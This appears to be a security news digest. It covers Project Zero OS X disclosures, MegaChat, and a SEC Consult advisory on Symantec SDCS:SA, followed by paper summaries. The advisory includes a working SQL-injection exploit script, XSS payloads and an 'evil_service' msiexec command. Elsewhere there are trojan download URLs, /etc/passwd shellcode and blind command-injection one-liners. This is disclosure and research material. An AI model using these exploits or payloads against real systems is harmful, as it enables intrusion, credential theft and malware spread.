Aerosol

Don't look now, but Google's Project Zero vulnerability research program may have dropped more zero-day vulnerabilities—this time on Apple's OS X platform. In the past two days, Project Zero has disclosed OS X vulnerabilities here, here, and here. At first glance, none of them appear to be highly critical, since all three appear to require the attacker to already have some access to a targeted machine. What's more, the first vulnerability, the one involving the "networkd 'effective_audit_token' XPC," may already have been mitigated in OS X Yosemite, but if so the Google advisory doesn't make this explicit and Apple doesn't publicly discuss security matters with reporters. Still, the exploits could be combined with a separate attack to elevate lower-level privileges and gain control over vulnerable Macs. And since the disclosures contain proof-of-concept exploit code, they provide enough technical detail for experienced hackers to write malicious attacks that target the previously unknown vulnerabilities. The security flaws were privately reported to Apple on October 20, October 21, and October 23, 2014. All three advisories appear to have been published after the expiration of the 90-day grace period Project Zero gives developers before making reports public. Assuming the vulnerabilities remain active in at least some versions of OS X, it wouldn't be the first time Project Zero has gone against a developer's wishes and made unfixed security bugs known to the whole world. The Google-backed program has already published three unpatched vulnerabilities in Windows. Source

Internet entrepreneur Kim Dotcom has released an encrypted chat service, called MegaChat, to compete with the Microsoft-owned Skype. The release would be rolled out gradually, beginning with video-calling on Thursday, he said. The news came as it emerged a top EU official wants companies to be required by law to hand over encryption keys. The EU counter-terrorism coordinator's proposal follows a similar call by Prime Minister David Cameron. In a document leaked by the civil liberties group Statewatch, Gilles de Kerchove said encryption "increasingly makes lawful interception by the relevant national authorities technically difficult or even impossible". He wrote: "The [European] Commission should be invited to explore rules obliging internet and telecommunications companies operating in the EU to provide, under certain conditions as set out in the relevant national laws and in full compliance with fundamental rights, access of the relevant national authorities to communications (ie share encryption keys)." Mr De Kerchove refused to comment on the leaked document. Earlier this month, Mr Cameron said he wanted internet firms to allow the government to view encrypted messages in order to aid the security services. But his plans to revive the Communications Data Bill, dubbed the "snoopers' charter", were criticised by civil liberties groups and the Deputy Prime Minister, Nick Clegg. Announcing the launch of the beta version of his MegaChat service, Mr Dotcom said that video-calling would gradually be followed by a text-chat service and video-conferencing. About three years ago, Mr Dotcom's Megaupload site was seized and he was arrested in an armed raid on his New Zealand house. Announcing the launch of MegaChat on Twitter, he noted the timeline that lead from the raid to Thursday's announcement, highlighting the launch of his new site, Mega, and a political party in the subsequent years. And he wrote: "#Mega offers a security bounty again. Please report any security flaw to us. We'll fix it and reward you. Thanks for helping." Mr Dotcom still faces extradition from New Zealand to the United States on copyright infringement charges. In November last year, he said he was "broke" as a result of the consequent legal fight. He put the cost at $10m (£6.4m) since his arrest in 2012. Source

Update to : OpenSSL Toolkit 1.0.2 OpenSSL is a robust, fully featured Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols with full-strength cryptography world-wide. Changes: Added support for OCB mode. SSLv2 support has been removed. Increased the minimal RSA keysize from 256 to 512 bits. Various other updates and fixes. Download

SEC Consult Vulnerability Lab Security Advisory < 20150122-0 > ======================================================================= title: Multiple critical vulnerabilities products: Symantec Data Center Security: Server Advanced (SDCS:SA) Symantec Critical System Protection (SCSP) vulnerable version: see: Vulnerable / tested versions fixed version: SCSP 5.2.9 MP6, SDCS:SA 6.0 MP1 - not all vulnerabilities were fixed, but mitigations exist impact: Critical CVE number: CVE-2014-7289, CVE-2014-9224, CVE-2014-9225, CVE-2014-9226 homepage: http://www.symantec.com found: 2014-09-19 by: Stefan Viehböck SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Symantec Data Center Security: Server Advanced v6.0 (DCS: Server Advanced) extends the Data Center Security: Server solution beyond agentless threat protections by incorporating technologies previous known as Critical System Protection. Data Center Security: Server Advanced provides granular, policy- based controls with a low impact in-guest agent to monitor and protect numerous physical and virtual server environments. Through a combination of technologies including application-centric controls including protected white listing, sandboxing using least privilege access controls, host-based intrusion detection (HIDS) and prevention (HIPS), and real-time file integrity monitoring (FIM), organizations can proactively safeguard their heterogeneous server environments and the information they contain from zero-day and targeted attacks, and fulfill their compliance mandates across critical systems. Click here for more info" Source: http://www.symantec.com/connect/forums/announcing-data-center-security-server-server-advanced-products Business recommendation: ------------------------ Attackers are able to completely compromise the SDCS:SA Server as they can gain access at the system and database level. Furthermore attackers can manage all clients and their policies. SDCS:SA Server can be used as an entry point into the target infrastructure (lateral movement, privilege escalation). Furthermore the SDCS:SA Client protections can be bypassed in several ways. It is highly recommended by SEC Consult not to use this software until a thorough security review (SDCS:SA Server, SDCS:SA Client Policies) has been performed by security professionals and all identified issues have been resolved. Note: SDCS:SA was replaced by SCSP. In this document the name SDCS:SA is used. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated SQL Injection (SDCS:SA Server) (CVE-2014-7289) Due to insufficient input validation, the application allows the injection of direct SQL commands. By exploiting the vulnerability, an attacker gains access (read/write) to all records stored in the database as arbitrary SQL statements can be executed. Furthermore the application design enables an attacker to gain code execution as SYSTEM (highest privilege Windows user) on the server by exploiting this vulnerability. No prior authentication is needed to exploit this vulnerability. Affected script: https://<host>:4443/sis-ui/authenticate 2) Reflected Cross-Site-Scripting (XSS) (SDCS:SA Server) (CVE-2014-9224) The applications suffers from a reflected cross-site scripting vulnerability, which allows an attacker to steal other users' sessions, to impersonate other users and to gain unauthorized access to the admin interface. Affected scripts: https://<host>:8081/webui/Khaki_docs/SSO-Error.jsp https://<host>:8081/webui/admin/WCUnsupportedClass.jsp 3) Information Disclosure (SDCS:SA Server) (CVE-2014-9225) A script discloses internal information about the application on the server without prior authentication. This information includes file paths on the webserver, version information (OS, Java) and is accessible without prior authentication. Affected script: https://<host>:8081/webui/admin/environment.jsp 4) Multiple Default Security Protection Policy Bypasses (SDCS:SA Client) (CVE-2014-9226) Several bypasses were discovered. These require Windows Administrator permissions. This requirement is usually met in SDCS:SA deployments. Note: SEC Consult did not check whether the mitigations provided by Symantec do in fact sufficiently mitigate these vulnerabilities! - Persistent code execution via Windows Services The default Symantec policy rules can be bypassed in order to get persistent arbitrary code execution. - Remote code execution via RPC The default Symantec policy rules can be bypassed in order to get persistent arbitrary code execution. In addition to that "psexec-style" remote code execution via SMB is possible as well. - Policy bypass: Extraction of Windows passwords/hashes The default Symantec policy rules do not prevent attackers from extracting the Windows passwords/password hashes from the System. - Privilege elevation via Windows Installer (msiexec.exe) The restrictions imposed by the default policies can be bypassed entirely by exploiting incorrect assumptions made in the policy regarding the Windows Installer (msiexec.exe). - Privilege elevation/code execution via Windows Management Instrumentation (.mof files) The restrictions imposed by default policies can be bypassed partially by exploiting incorrect assumptions made in the policy regarding the Windows Management Instrumentation. The policy does not take intended OS functionality to execute code into account. Proof of concept: ----------------- 1) Unauthenticated SQL Injection (SDCS:SA Server) (CVE-2014-7289) The servlet accessible via /sis-ui/authenticate (TCP port 4443, HTTPS) is vulnerable to SQL injection. By sending a specially crafted HTTP request, arbitrary SQL statements can be executed. In a proof of concept exploit, SQL statements to add a new SDCS:SA user with admin privileges (username: secconsult, password: PASSWORD123!) were executed. These statements are: INSERT INTO USR (RID, USERNAME, PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO, PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT) VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '', '', '', '', '', '', '', NULL, 'SECCONSULT', '2014-09-12 07:13:09', '2014-09-12 07:13:23', '1', '0', '0', 'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto='); INSERT INTO ROLEMAP (USERRID, ROLERID) VALUES (1504, 1); The code used to exploit the SQL injection vulnerability is listed below: import httplib def send_request(host,data): params = data headers = {"AppFire-Format-Version": "1.0", "AppFire-Charset": "UTF-16LE", "Content-Type":"application/x-appfire", "User-Agent":"Java/1.7.0_45", } conn = httplib.HTTPSConnection(host) conn.request("POST", "/sis-ui/authenticate", params, headers) response = conn.getresponse() data=response.read() conn.close() return response,data header ="Data-Format=text/plain\nData-Type=properties\nData-Length=%i\n\n" data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO USR (RID, USERNAME, PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO, PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT) VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '', '', '', '', '', '', '', NULL, 'SV DESCRIPTION', '2014-09-12 07:13:09', '2014-09-12 07:13:23', '1', '0', '0', 'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto='); -- '' " # add user to USR table #data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO ROLEMAP (USERRID, ROLERID) VALUES (1504, 1); -- " # add user to admin group data+="\r\nan=Symantec Data Center Security Server 6.0\r\npwd=GBgYGBgYGBgYGBgYGBgYGBg=\r\nav=6.0.0.380\r\nhn=WIN-3EJQK7U0S3R\r\nsso=\r\n" data = data.encode('utf-16le') eof_flag="\nEOF_FLAG\n" header = header %(len(data)) payload=header+data+eof_flag response,data = send_request("<host>:4443",payload) print data.decode('utf-16le') print response.status As the application users act as Tomcat administrators, an attacker can login into the Tomcat manager as well. The Tomcat manager is available by default via TCP port 8081 HTTPS. The Tomcat Web Application Manager can be used to deploy new .war-files containing attacker-controlled Java code. This allows an attacker to execute arbitrary commands on the operating system with the permissions/user of the "Symantec Data Center Security Server Manager" service (SISManager) which are SYSTEM. 2) Reflected Cross-Site-Scripting (XSS) (SDCS:SA Server) (CVE-2014-9224) At least the following URLs are vulnerable to XSS: https://example.com:8081/webui/Khaki_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script> https://example.com:8081/webui/admin/WCUnsupportedClass.jsp?classname=<script>alert('xss')</script> 3) Information Disclosure (SDCS:SA Server) (CVE-2014-9225) The following URLs discloses internal information: https://example.com:8081/webui/admin/environment.jsp 4) Multiple Default Security Protection Policy Bypasses (SDCS:SA Client) (CVE-2014-9226) - Persistent code execution via Windows Services Windows Service binaries can have file extensions other than ".exe". This allows an attacker to execute arbitrary files and enables automatic execution of malicious code at OS boot. - Remote code execution via RPC Existing tools like "psexec" or Metasploit (/exploit/windows/smb/psexec) can be modified to write files not ending with ".exe" on the target system. - Policy bypass: Extraction of Windows passwords/hashes The tool "mimikatz" can be used to extract Windows credentials. - Privilege elevation via Windows Installer (msiexec.exe) msiexec.exe is trusted "safe privileges" when started as a service (usually "Windows Installer" parameter "/V"). This can be abused by creating a service that starts msiexec.exe with the parameters "/quiet", "/i" and a path to a valid .msi file. Upon service start the .msi file is executed with "safe privileges" privileges and not subject to any SDCS:SA Client checks. sc create evil_service binpath= "c:\windows\System32\msiexec.exe /quiet /i c:\temp\evil_msi" type= own start= auto error= ignore net start evil_service - Privilege elevation/code execution via Windows Management Instrumentation (.mof files) On old Windows versions .mof files placed in "%SystemRoot%\System32\wbem\mof\" are automatically compiled/executed. These trigger arbitrary code execution. The code is executed with "def_winsvcs_ps" permissions. Vulnerable / tested versions: ----------------------------- The vulnerabilities have been verified to exist in Symantec Data Center Security: Server Advanced version 6.0, which was the most recent version at the time of discovery. However other versions (SCSP 5.2.9) are affected by the vulnerabilities as well. See the vendor information in the Solution section. Vendor contact timeline: ------------------------ 2014-10-20: Sending advisory and proof of concept exploit via encrypted channel. 2014-10-20: Vendor acknowledges receipt of advisory. 2014-11-18: Requesting status update. 2014-11-18: Vendor responds and informs about an advisory in December, version containing fixes in February. 2014-12-04: Vendor informs about delays in releasing fixes/mitigations, target release date mid-January. 2015-01-08: Vendor confirms release date for fixes/mitigations (2015-01-17). 2015-01-17: Vendor releases fixes for SCSP. 2015-01-19: Vendor releases advisory and mitigations for SCSP/ 2015-01-22: SEC Consult releases coordinated security advisory. Solution: --------- Update to the most recent version of SCSP (5.2.9 MP6) or SDCS:SA (6.0 MP1). Not all vulnerabilities are fixed by this update! However, Symantec has provided mitigations for these issues: More information can be found at: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20150119_00 http://www.symantec.com/business/support/index?page=content&id=TECH227679 http://www.symantec.com/business/support/index?page=content&id=HOWTO100996&actp=search&viewlocale=en_US&searchid=1421349750071 Workaround: ----------- See solution. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested to work with the experts of SEC Consult? Write to career@sec-consult.com EOF Stefan Viehböck / @2015 Source

Virus Total Scan: https://www.virustotal.com/pl/file/1af1416a7c15765d6b483f4900892ccefef54d545dd0e5754921f4991f9a252f/analysis/1421698835/ Download Pass: infected It is trojan downloader Win32/Dalexis breteau-photographe.com/tmp/pack.tar.gz voigt-its.de/fit/pack.tar.gz maisondessources.com/assets/pack.tar.gz jbmsystem.fr/jb/pack.tar.gz pleiade.asso.fr/piwigotest/pack.tar.gz scolapedia.org/histoiredesarts/pack.tar.gz Unpacked Download unpacked Source

1. Simple program that reads /etc/passwd file Shellcode: ( Download Link given in the end ) "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\ x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x 2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x8 0" Now we create a simple programt that will execute this code and Compile it using gcc –fno-stack-protector -z execstack code.c –o shellcode It will compile our code and program should work without any hindrance. Read more: http://dl.packetstormsecurity.net/papers/shellcode/re_shellcode.pdf

In this article we will get an introduction into mobile malware on Android. The main goal is to give you an overview of the tools used and provide you with a starting point for next work.We will use some webservices that provide a good overview of the malware and later specialized tools to understand the details. This sample is a example malware(syssecApp.apk) written for Reverse Engineering Summer School 2013 (Organized by Ruhr University-Bochum). It provides an overview of what Android malware is able to do. It is not linked to a control server, so the data it steals will never leave our phone. However some personal data will be visible in the logs and during our analysis, so we should use an emulator anyway. Basically; 1 – Basics of Android Applications Read more: http://dl.packetstormsecurity.net/papers/attack/intro-android-malware.pdf

XSS or Cross Site Scripting is a web application vulnerability that occurs when untrusted data from the user is processed by the web application without validation and is reflected back to the browser without encoding or escaping, resulting in code execution at the browser engine. type of XSS Reflected or Non-Persistent XSS ? Stored or Persistent XSS ? DOM based XSS ? mXSS or Mutation XSS Read more: http://dl.packetstormsecurity.net/papers/general/ultimate-xss.pdf

Table of Contents Abstract.........................................................................................................................................................1 1. Introduction..........................................................................................................................................2 1.1 Form Validation in HTML 4 ...........................................................................................................2 1.2 Form Validation in HTML5 ............................................................................................................3 2. HTML5 Security Concerns.....................................................................................................................4 2.1 Web Storage Attacks.....................................................................................................................4 3.1 Session Storage .............................................................................................................................5 3.2 Local Storage.................................................................................................................................5 3.3 localStorage API ............................................................................................................................6 3.3.1 Adding an Item..................................................................................................................6 3.3.2 Retrieving Items................................................................................................................6 3.3.3 Removing an Item .............................................................................................................6 3.3.4 Removing All Items............................................................................................................6 3.4 Session Storage API.......................................................................................................................7 3.4.1 Adding An Item..................................................................................................................7 3.4.2 Retrieving An Item.............................................................................................................7 3.4.3 Removing An Item.............................................................................................................7 3.4.4 Removing All Items............................................................................................................7 3.5 Security Concerns with Web Storage in HTML5 ...........................................................................7 3.6 Stealing Local Storage Data via XSS ..............................................................................................8 3.7 Stored DOM Based XSS Attacks....................................................................................................9 3.8 Example of a DOM Based XSS .....................................................................................................10 4. WebSockets Attacks ...........................................................................................................................11 4.1 Security Concerns of WebSockets Attacks..................................................................................11 4.1.1 Denial of Service Issues...................................................................................................11 4.1.2 Denial of Service on the Client Side ................................................................................11 4.1.3 Denial of Service on the Server Side ...............................................................................12 4.1.4 Data Confidentiality Issues..............................................................................................12 4.1.5 Cross-Site Scripting Issues in WebSocket........................................................................13 4.1.6 WebSocket Cross-Site Scripting Proof of Concept..........................................................13 4.1.7 Proof of Concept of WebSocket XSS ...............................................................................14 4.1.8 Origin Header..................................................................................................................15 5. XSS with HTML5 Vectors.....................................................................................................................16 5.1 Case 1 – Tags Blocked .................................................................................................................16 5.2 Case 2 - Attribute Context...........................................................................................................16 5.2.1 Example...........................................................................................................................16 5.3 Case 3 – Formaction attribute ....................................................................................................18 6. Cross Origin Resource Sharing (CORS)................................................................................................19 6.1 What is an Origin?.......................................................................................................................19 6.2 Crossdomain.xml.........................................................................................................................19 6.3 What is CORS?.............................................................................................................................20 6.3.1 Example...........................................................................................................................20 6.3.2 Security Issue...................................................................................................................20 6.3.3 Example...........................................................................................................................20 6.3.4 Example...........................................................................................................................20 6.3.5 Proof of Concept .............................................................................................................22 7. GeoLocation API..................................................................................................................................23 7.1 Introduction ................................................................................................................................23 7.2 Security Concerns........................................................................................................................23 7.2.1 Example...........................................................................................................................23 7.2.2 Proof of Concept .............................................................................................................24 7.2.3 Chrome............................................................................................................................24 7.2.4 Firefox..............................................................................................................................24 8. Client Side RFI Includes.......................................................................................................................26 8.1 Vulnerability Example .................................................................................................................26 8.2 Example.......................................................................................................................................27 8.3 Request .......................................................................................................................................28 8.4 Safer Example .............................................................................................................................28 8.5 Open Redirects............................................................................................................................29 8.5.1 Example...........................................................................................................................29 9. Cross Window Messaging...................................................................................................................30 9.1 Sender’s Window........................................................................................................................30Copyright© 2014 RHA InfoSEC. All rights reserved. Page iv 9.2 Receiver’s Window......................................................................................................................30 9.3 Security Concerns........................................................................................................................31 9.3.1 Origin not being checked ................................................................................................31 9.3.2 Impact .............................................................................................................................31 9.3.3 DOM Based XSS...............................................................................................................31 9.3.4 Vulnerable Code..............................................................................................................32 10. Sandboxed Iframes.............................................................................................................................33 10.1 Security Concerns........................................................................................................................33 11. Offline Applications ............................................................................................................................34 11.1 Example.......................................................................................................................................34 11.2 Security Concerns........................................................................................................................35 12. WebSQL ..............................................................................................................................................37 12.1 Security Concerns........................................................................................................................37 12.2 SQL Injection ...............................................................................................................................37 12.3 Insecure Statement.....................................................................................................................37 12.4 Secure Statement........................................................................................................................38 12.5 Cross Site Scripting......................................................................................................................39 12.5.1 Example...........................................................................................................................40 13. Scalable Vector Graphics....................................................................................................................41 14. Webworkers........................................................................................................................................44 14.1 Creating a Webworker................................................................................................................44 14.1.1 Sending/Receiving a Message to/from Webworker.......................................................44 14.2 Cross Site Scripting Vulnerability ................................................................................................46 14.2.1 Example...........................................................................................................................46 14.3 Distributed Denial of Service Attacks..........................................................................................47 14.4 Distributed Password Cracking ...................................................................................................50 15. Stealing Personal Data Stored With Autocomplete Function ............................................................52 15.1 Example: Autocomplete Attribute in Action...............................................................................52 16. Scanning Private IP Addresses............................................................................................................54 16.1 WebRTC.......................................................................................................................................54 17. Security Headers to Enhance Security with HTML5 ...........................................................................56 17.1 X- XSS-Protection ........................................................................................................................56 17.2 X-Frame-Options.........................................................................................................................56 17.3 Strict-Transport-Security.............................................................................................................57 17.3.1 Example...........................................................................................................................58 17.4 X-Content-Type-Options.............................................................................................................58 17.4.1 Example...........................................................................................................................58 17.4.2 Example...........................................................................................................................59 17.5 Content-Security-Policy ..............................................................................................................59 17.5.1 Sample CSP......................................................................................................................60 Acknowledgements.....................................................................................................................................61 References ..................................................................................................................................................62 Read more: http://dl.packetstormsecurity.net/papers/attack/HTML5AttackVectors_RafayBaloch_UPDATED.pdf

For many years, different types of malware rank among the biggest IT security threats both in the business and the private domain. In order to protect oneself from the dangers of malware, numerous software manufacturers offer IT security products like antivirus and endpoint protection software. But these products alone offer no sufficient protection from malware that knows some tricks, as the results of our recent research with the topic antivirus evasion show. In the recent past, there were several computer-based attacks against IT networks that became public and raised a lot of media attention. Especially the attacks against the New York Times [1] and the Washington Post [2] at the beginning of 2013 had a world-wide media coverage and also heated the debate about such cyber threats with manufacturers of IT security products like antivirus and endpoint protection software. In both mentioned cases, attackers were able to install malware on computer systems of employees in order to literally spy on the affected companies – and this probably undetected for several months. Once more, incidences like these have pointed out that in spite of the use of IT security products like antivirus software or host intrusion detection/prevention software (HIDS/HIPS) such attacks cannot be entirely prevented. This kind of threat illustrates that enterprises and also government agencies require a master plan with a working information security management and security awareness of all employees. This paper discusses how developers of malware like trojan horses (in short trojans), viruses, and worms proceed to hide their malicious intentions from antivirus software. Thereby, current results of our recent research are presented and recommendations are given for dealing with threats and security risks caused by malware. How Antivirus Software Works Current antivirus software, no matter if a standalone software product or a component of a software suite (host intrusion detection/prevention software, endpoint protection software, etc.), uses different methods to detect known and unknown threats by means of malware. In general, these methods used for protecting computer systems from unwanted, malicious software can be assigned to the following two strategies: 1. Blacklisting 2. Whitelisting In the context of antivirus software, the two terms blacklisting and whitelisting simply mean that the execution of a program is either explicitly forbidden (being on a black list) or explicitly allowed (being on a white list). Thus, by following the blacklisting approach antivirus software will prevent the execution of programs that are Read more: http://dl.packetstormsecurity.net/papers/general/outsmarted-malware.pdf

CONTENTS Introduction 4 Executive summary 4 1 The initial incident 5 2 Analysis 6 2.1 Plug-in ................................................................................................................................................ 6 2.2 Origin.................................................................................................................................................. 9 2.3 Features............................................................................................................................................ 11 2.4 Setup ................................................................................................................................................ 11 2.5 CMS integration................................................................................................................................ 13 2.6 Crypto and Communication ............................................................................................................. 15 2.7 Manual Control ................................................................................................................................ 17 2.8 Configuration.................................................................................................................................... 18 2.9 Backup communication.................................................................................................................... 19 2.10 Purpose: Blackhat SEO ..................................................................................................................... 20 2.11 Possible author................................................................................................................................. 22 3 Infrastructure 23 3.1 Spreading.......................................................................................................................................... 23 3.2 Command and control servers......................................................................................................... 24 4 Checking for CryptoPHP in plug-ins and themes 26 4.1.1 WordPress......................................................................................................................... 26 4.1.2 Joomla ............................................................................................................................... 27 4.1.3 Drupal................................................................................................................................ 27 5 Appendix: Indicators of Compromise 28 5.1 Network detection ........................................................................................................................... 28 5.2 File hashes........................................................................................................................................ 29 5.3 Command and Control servers......................................................................................................... 30 5.3.1 Version 0.1......................................................................................................................... 30 5.3.2 Version 0.1 (other variant) ................................................................................................ 30 5.3.3 Version 0.2, 0.2x1, 0.2x2, 0.2b3, 0x2x4, 0.2x9, 0.3, 0.3x1................................................. 35 5.3.4 Version 1.0, 1.0a................................................................................................................ 39 5.4 Backup communication email addresses......................................................................................... 42 5.4.1 Version 0.1......................................................................................................................... 42 5.4.2 Version 0.1 (other variant) ................................................................................................ 42 5.4.3 Version 0.2, 0.2x1, 0.2x2, 0.2b3, 0.2x4, 0.2x9, 0.3 ............................................................ 42 5.4.4 Version 1.0, 1.0a................................................................................................................ 50 Read more: http://dl.packetstormsecurity.net/papers/evaluation/cryptophp-whitepaper-foxsrt-v4.pdf

This is a brief write up noting javascript backdoors left in common PHP shells. Read more: http://dl.packetstormsecurity.net/papers/general/backdoor.pdf

When you find an offsec 101 style blind-command injection on embedded systems, you may have difficulties because of their restricted environments. ;ping -c1 192.168.1.2; Even though you may able to run some commands like ping or reboot... other commands may not work. Since the output was not showing, you cannot be sure if the commands do not exists or they fail for a reason. So, in such scenarios I always check for my injection commands as in the example below: # This command will ping you back if `ls` is found in "/bin" directory ;if test -e "/bin/ls";then ping -c1 192.168.1.2;fi; # or better ;if test -e "/bin/ls";then ping -c1 192.168.1.2;else ping -c2 192.168.1.2;fi; After I see that this approach works, I use more commands to understand my target environment better: # To check if "/tmp" directory exsists? ;if test -d "/tmp";then ping -c2 192.168.1.2;fi; # To check if "/var/passwd" file is exsists and has read permissions? ;if test -r "/var/passwd";then ping -c2 192.168.1.2;fi; ;if test -r "/etc/passwd";then ping -c2 192.168.1.2;fi; # To check if logger exists? -- which is another tricky command used in BlindCI... ;if test -e "/usr/bin/logger";then ping -c1 192.168.1.2;fi; # To check if wget is exists? ;if test -e "/bin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/sbin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/usr/bin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/usr/sbin/wget";then ping -c1 192.168.1.2;fi; Note: Embedded systems may differ depending to their build systems(Buildroot, LinuxFromScratch, Yocto...) and/or they can use slightly different versions of well-known commands. Thus, you may need to change some parameters while using those commands. Since we are talking about BLIND COMMAND INJECTION you have to be sure that your injection command/binary is installed on your target. That's why it is a good practice to check your commands in all possible "bin" directories. For example; three commands below does the exact same-thing, however if you try your injection(s) based on just one version you can "assume" that wget does not exists on your Read more: http://dl.packetstormsecurity.net/papers/attack/blind_command_injection_on_busybox.pdf

Table of Contents I. INTRODUCTION...............................................................................................................................1 II. BACKGROUND .............................................................................................................................2 Operation of a Biometric System: .........................................................................................................2 DNA:.....................................................................................................................................................4 Face Recognition:................................................................................................................................4 Hand and Finger Geometry:..............................................................................................................4 Fingerprint: .........................................................................................................................................4 Iris: .......................................................................................................................................................4 Retinal scan: ........................................................................................................................................5 III. DECIDING TO USE A BIOMETRIC TECHNOLOGY............................................................5 IV. CHALLENGES FACED................................................................................................................8 Privacy and Public Confidence: ............................................................................................................8 Fake Biometrics: .....................................................................................................................................9 Theft of Biometric Data: ........................................................................................................................9 Ease of Use:..............................................................................................................................................9 Environmental Factors:........................................................................................................................10 Physical Factors:...................................................................................................................................10 V. SOLUTIONS .....................................................................................................................................11 Educating Public about Biometrics – Solves Public Acceptance and Ease of Use problem: .........11 Testing the liveliness of a Biometric – Eliminates Fake Biometrics:................................................12 Encryption, Centralization, Multimodal Biometrics and Revising Algorithms – Solves the Problem of Theft:..................................................................................................................................12 Ensuring Cleanliness before using a Biometric Device – Mitigates Environmental Factors:........13 Solving the problem of Physical factors:.............................................................................................13 VI. CONCLUSION .............................................................................................................................14 REFERENCES..........................................................................................................................................15 Source

Table of Contents I. Introduction: .......................................................................................................................... 1 II. Threats posed to business professionals by open Wi-Fi hotspots...................................... 2 A. Most common threats to devices connected to open Wi-Fi hotspots....................................3 1. Types and description of threats................................................................................... 3 2. Basic security measures:................................................................................................ 3 B. Evil Twin............................................................................................................................................4 1. What is an evil twin?...................................................................................................... 4 2.Effects of evil-twin attack on the end user...............................................................................6 III. The repercussions of lack of a sound security for the Wi-Fi.......................................... 6 A.The after-effects of being a victim of cyber-crime....................................................................6 1. Loss of money to restore the system to its original state: ........................................... 6 2. Loss of time in retrieving back the lost/damaged/misused data:............................... 6 IV. Measures to mitigate evil twin attacks............................................................................. 7 A.WPA-PSK method:..........................................................................................................................7 B. Using a Virtual Private Network: ................................................................................................7 C. Awareness of cyber security ........................................................................................................12 D.Introducing the concept of basics of cyber-security to students at an earlier age. .........14 V. The perks of upgrading to stronger security measures as mentioned above:.................. 15 A.Increases the productivity of an organization and reduces the avoidable expenses. .....15 B. Beneficial to end-users as their private data is kept private and unaffected. ..................15 C.Works towards building a better and a robust security system throughout. ..................15 VI. Conclusion:............................................................................................................................ 15 VII. References:........................................................................................................................... 17 Source

Threat Level: High Severity: High CVSS Severity Score: 7.0 Impact Type: Complete confidentiality, integrity and availability violation. [2] Vulnerability: (1) Filtration Bypass. (3) Unauthenticated Cross Site scripting vulnerabilities. Description A malicious user could get unsuspecting visitors into divulging their credentials, to force a redirection to a heterogeneous third-party website, or to execute malicious code, on behalf of the attacker. An attacker can also fold malicious content into the content being delivered to visitors on the site. In this attack “Visitor -> Vendor” trust-levels are directly impacted, since the vendor’s website, and associated services , and products have high levels of trust by default. Read more: http://dl.packetstormsecurity.net/1501-advisories/Oracle_Website_Vulnerabilities119.pdf

overview on 12/09/14 i discovered a method of revealing the full and/or display names associated with gmail accounts via maps engine, whether or not those accounts are associated with google plus, which renders said information public. i immediately submitted my findings to google’s vulnerability rewards program and began correspondence with their security team. at some point during this time, i discovered a nearly identical vulnerability in google drive, and held it as an ace up my sleeve while awaiting feedback on the maps engine leak. the google drive leak differs in a few ways from the maps engine leak, specifically in that it doesn’t deploy an email to the target – potentially informing him or her that something is afoot, and is what the live proof of concept and open source code are based upon. here it is in action with a non-g+ account: <11:35 pm est update> it has recently come to light that this not only works on google accounts, but *some* hotmails, yahoos and others as well. here’s a small excerpt of what i just sent over to google’s security team: additionally, adrian suggested the possibility of: so thanks to him and marcus from the 2600 group for helping me try to wrap my head around this, and this tweet, which poses an excellent question: as well as for providing some suggested reading material for the guys on google’s security team: </11:35 pm est update> timeline of events 12/09/14: submitted vulnerability report 12/15/14: confirmation that the issue exists 12/16/14: google employee confirms that maps engine is “too chatty” and files a bug report 01/17/15: i am informed the issue “doesn’t represent a security vulnerability” 01/20/15: google publicly announces its plans to deactivate maps engine and restricts new signups 01/20/15: it is discovered that other email services, not just gmail, are vulnerable. google security team notified via email click here for a live poc demo of the gmail full name revealer now obviously you aren’t going to reveal a target’s full name every time. there are a few factors to consider; one of which being that not everyone uses their actual full name when signing up for something on the internet, another being that gmail account’s must be 6 characters long, and i’m sure a few others i’m not accounting for. 